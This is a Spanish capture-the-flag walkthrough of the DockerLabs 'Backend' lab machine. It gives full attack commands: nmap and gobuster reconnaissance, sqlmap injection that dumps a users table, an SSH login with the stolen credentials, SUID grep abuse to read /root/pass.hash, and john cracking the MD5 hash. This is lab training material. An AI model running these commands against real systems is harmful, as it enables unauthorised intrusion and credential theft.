> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/backend.md).

# Backend

✍️ Autor: 4bytes🔍 Dificultad: Fácil  📅 Fecha de creación: 29/08/2024

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEhYrFMrsspAx4abCVuga%2Fimage.png?alt=media&amp;token=ece3cdd3-3a35-4f81-a74d-d66d259ba148" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FAMID9j2Ia0BeJhb2e0vO%2Fimage.png?alt=media&amp;token=0e10d497-16a1-4c07-afe9-e5e5a0f4ba23" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FrAmtgEznN3GmahaA09LW%2Fimage.png?alt=media&amp;token=52b03668-8651-4093-a3f7-1efde10ca452" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea una página bajo desarrollo podemos ver que hay una pestaña de Login.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F8QAHUdNMjF7qnYEFcrJb%2Fimage.png?alt=media&amp;token=07c744d3-5041-4543-a985-bbca2b08c163" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FBttgJQS99Im4Qdp1RwQ9%2Fimage.png?alt=media&amp;token=9fd8a152-d474-45c3-8247-26ddff937331" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios y archivos con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FtpOLsB9hJsE1w6bxfyLp%2Fimage.png?alt=media&amp;token=55bdbbc1-4927-4d62-b340-836f73a0172a" alt=""><figcaption></figcaption></figure>

Probamos con credenciales básicas y con una inyección básica pero nada.

### 🚀 **EXPLOTACIÓN**

Vamos a probar con **sqlmap** para ver que bases de datos hay.

```bash
sqlmap -u "http://172.17.0.2/login.html" --forms --batch --dbs
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FlIu45T8GqWBxpSL7o3Jh%2Fimage.png?alt=media&amp;token=e2b722fb-1f4b-48a4-917b-6eded0bdc22f" alt=""><figcaption></figcaption></figure>

Ahora vemos el contenido de la base de datos **users**.

```bash
sqlmap -u "http://172.17.0.2/login.html" --forms --batch -D users --tables
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnsprnVF55EiaMQIw0czw%2Fimage.png?alt=media&amp;token=3ff314b9-3e64-4152-892e-8d967f95300c" alt=""><figcaption></figcaption></figure>

Ahora vemos el contenido de la tabla de **usuarios**.

```bash
sqlmap -u "http://172.17.0.2/login.html" --forms --batch -D users -T usuarios --dump
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FM6bSlDdYJs1LrduoU1gH%2Fimage.png?alt=media&amp;token=288d26c4-9f48-4c74-8d1a-d608698c52c8" alt=""><figcaption></figcaption></figure>

Probamos con esas credenciales pero con pepe logramos loguearnos en SSH.

```bash
ssh pepe@172.17.0.2
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FCz7EUCxVVFIQe0UyRpmr%2Fimage.png?alt=media&amp;token=7bf72955-1d9f-4945-81b3-68ffe047f023" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos **SUDO**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Foe46USAtvWT0yUjljmCJ%2Fimage.png?alt=media&amp;token=67e46dd3-90a5-43ca-b4f6-e4920e6acd2a" alt=""><figcaption></figcaption></figure>

Buscamos permisos **SUID**.

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F3fcfc2c5joKSJliPI71s%2Fimage.png?alt=media&amp;token=fb71f555-2cde-46a4-9a7c-091c29e83e37" alt=""><figcaption></figcaption></figure>

Nos llama la atención **ls** y **grep** por lo que buscamos en esta [página ](https://gtfobins.github.io/)cómo explotarlo.

```bash
/usr/bin/ls -la /root
/usr/bin/grep '' /root/pass.hash
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fds5YmnZIESINANPyPUFp%2Fimage.png?alt=media&amp;token=ae0775b2-c723-4bc3-acaa-d654460e5797" alt=""><figcaption></figcaption></figure>

Vemos que es un hash en formato **MD5** por lo que vamos a desencriptarlo.

```bash
john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F8WSTPdOM6l1VemhpeFZ0%2Fimage.png?alt=media&amp;token=be7e9553-9b2a-4f57-9197-d64f9ce8826d" alt=""><figcaption></figcaption></figure>

Nos logueamos como root.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWQC2555GPn0qoTjkUir9%2Fimage.png?alt=media&amp;token=6a111fd4-db03-4516-aadc-922bead0ba21" alt=""><figcaption></figcaption></figure>
